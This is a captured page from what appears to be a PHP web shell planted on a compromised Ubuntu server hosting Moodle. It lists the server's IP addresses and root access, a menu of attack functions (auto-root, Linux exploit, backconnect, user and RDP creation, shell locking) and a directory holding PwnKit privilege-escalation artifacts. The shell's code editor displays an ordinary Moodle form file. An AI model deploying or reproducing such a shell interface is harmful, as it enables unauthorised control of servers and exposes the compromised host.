Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.51
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
insepet /
libromaster /
mod /
feedback /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
backup
[ DIR ]
drwxrwxrwx
db
[ DIR ]
drwxrwxrwx
item
[ DIR ]
drwxrwxrwx
lang
[ DIR ]
drwxrwxrwx
pix
[ DIR ]
drwxrwxrwx
yui
[ DIR ]
drwxrwxrwx
.mad-root
0
B
-rw-r--r--
README.txt
6.8
KB
-rwxrwxrwx
TODO.txt
137
B
-rwxrwxrwx
ajax.php
1.86
KB
-rwxrwxrwx
analysis.php
5.23
KB
-rwxrwxrwx
analysis_course.php
8.74
KB
-rwxrwxrwx
analysis_to_excel.php
11.37
KB
-rwxrwxrwx
choose_group_form.php
902
B
-rwxrwxrwx
complete.php
24.03
KB
-rwxrwxrwx
complete_guest.php
21.11
KB
-rwxrwxrwx
delete_completed.php
3.81
KB
-rwxrwxrwx
delete_completed_form.php
1.83
KB
-rwxrwxrwx
delete_item.php
2.92
KB
-rwxrwxrwx
delete_item_form.php
1.63
KB
-rwxrwxrwx
delete_template.php
8
KB
-rwxrwxrwx
delete_template_form.php
1.64
KB
-rwxrwxrwx
edit.php
18.43
KB
-rwxrwxrwx
edit_form.php
7.49
KB
-rwxrwxrwx
edit_item.php
4.2
KB
-rwxrwxrwx
export.php
5.32
KB
-rwxrwxrwx
feedback.js
838
B
-rwxrwxrwx
import.php
8.99
KB
-rwxrwxrwx
import_form.php
2.29
KB
-rwxrwxrwx
index.php
3.76
KB
-rwxrwxrwx
lib.php
100.06
KB
-rwxrwxrwx
mapcourse.php
5.46
KB
-rwxrwxrwx
mod_form.php
8.49
KB
-rwxrwxrwx
print.php
4.34
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
settings.php
1.07
KB
-rwxrwxrwx
show_entries.php
14.34
KB
-rwxrwxrwx
show_entries_anonym.php
9.8
KB
-rwxrwxrwx
show_nonrespondents.php
11.79
KB
-rwxrwxrwx
styles.css
1.65
KB
-rwxrwxrwx
tabs.php
3.49
KB
-rwxrwxrwx
unmapcourse.php
1.93
KB
-rwxrwxrwx
use_templ.php
4.69
KB
-rwxrwxrwx
use_templ_form.php
2.06
KB
-rwxrwxrwx
version.php
1.24
KB
-rwxrwxrwx
view.php
11.79
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : edit_form.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * prints the forms to choose an item-typ to create items and to choose a template to use * * @author Andreas Grabs * @license http://www.gnu.org/copyleft/gpl.html GNU Public License * @package feedback */ //It must be included from a Moodle page if (!defined('MOODLE_INTERNAL')) { die('Direct access to this script is forbidden.'); } require_once($CFG->libdir.'/formslib.php'); class feedback_edit_add_question_form extends moodleform { public function definition() { $mform = $this->_form; //headline $mform->addElement('header', 'general', get_string('content')); // visible elements $feedback_names_options = feedback_load_feedback_items_options(); $attributes = 'onChange="M.core_formchangechecker.set_form_submitted(); this.form.submit()"'; $mform->addElement('select', 'typ', '', $feedback_names_options, $attributes); // hidden elements $mform->addElement('hidden', 'cmid'); $mform->setType('cmid', PARAM_INT); $mform->addElement('hidden', 'position'); $mform->setType('position', PARAM_INT); // buttons $mform->addElement('submit', 'add_item', get_string('add_item', 'feedback'), array('class' => 'hiddenifjs')); } } class feedback_edit_use_template_form extends moodleform { private $feedbackdata; public function definition() { $this->feedbackdata = new stdClass(); //this function can not be called, because not all data are available at this time //I use set_form_elements instead } //this function set the data used in set_form_elements() //in this form the only value have to set is course //eg: array('course' => $course) public function set_feedbackdata($data) { if (is_array($data)) { if (!isset($this->feedbackdata)) { $this->feedbackdata = new stdClass(); } foreach ($data as $key => $val) { $this->feedbackdata->{$key} = $val; } } } //here the elements will be set //this function have to be called manually //the advantage is that the data are already set public function set_form_elements() { $mform =& $this->_form; $elementgroup = array(); //headline $mform->addElement('header', 'using_templates', get_string('using_templates', 'feedback')); // hidden elements $mform->addElement('hidden', 'id'); $mform->setType('id', PARAM_INT); // visible elements $templates_options = array(); $owntemplates = feedback_get_template_list($this->feedbackdata->course, 'own'); $publictemplates = feedback_get_template_list($this->feedbackdata->course, 'public'); $options = array(); if ($owntemplates or $publictemplates) { $options[''] = array('' => get_string('choose')); if ($owntemplates) { $courseoptions = array(); foreach ($owntemplates as $template) { $courseoptions[$template->id] = $template->name; } $options[get_string('course')] = $courseoptions; } if ($publictemplates) { $publicoptions = array(); foreach ($publictemplates as $template) { $publicoptions[$template->id] = $template->name; } $options[get_string('public', 'feedback')] = $publicoptions; } $attributes = 'onChange="M.core_formchangechecker.set_form_submitted(); this.form.submit()"'; $elementgroup[] = $mform->createElement('selectgroups', 'templateid', '', $options, $attributes); $elementgroup[] = $mform->createElement('submit', 'use_template', get_string('use_this_template', 'feedback')); $mform->addGroup($elementgroup, 'elementgroup', '', array(' '), false); } else { $mform->addElement('static', 'info', get_string('no_templates_available_yet', 'feedback')); } } } class feedback_edit_create_template_form extends moodleform { private $feedbackdata; public function definition() { } public function data_preprocessing(&$default_values) { $default_values['templatename'] = ''; } public function set_feedbackdata($data) { if (is_array($data)) { if (!isset($this->feedbackdata)) { $this->feedbackdata = new stdClass(); } foreach ($data as $key => $val) { $this->feedbackdata->{$key} = $val; } } } public function set_form_elements() { $mform =& $this->_form; // hidden elements $mform->addElement('hidden', 'id'); $mform->setType('id', PARAM_INT); $mform->addElement('hidden', 'do_show'); $mform->setType('do_show', PARAM_INT); $mform->addElement('hidden', 'savetemplate', 1); $mform->setType('savetemplate', PARAM_INT); //headline $mform->addElement('header', 'creating_templates', get_string('creating_templates', 'feedback')); // visible elements $elementgroup = array(); $elementgroup[] = $mform->createElement('static', 'templatenamelabel', get_string('name', 'feedback')); $elementgroup[] = $mform->createElement('text', 'templatename', get_string('name', 'feedback'), array('size'=>'40', 'maxlength'=>'200')); if (has_capability('mod/feedback:createpublictemplate', get_system_context())) { $elementgroup[] = $mform->createElement('checkbox', 'ispublic', get_string('public', 'feedback'), get_string('public', 'feedback')); } // buttons $elementgroup[] = $mform->createElement('submit', 'create_template', get_string('save_as_new_template', 'feedback')); $mform->addGroup($elementgroup, 'elementgroup', get_string('name', 'feedback'), array(' '), false); $mform->setType('templatename', PARAM_TEXT); } }
Close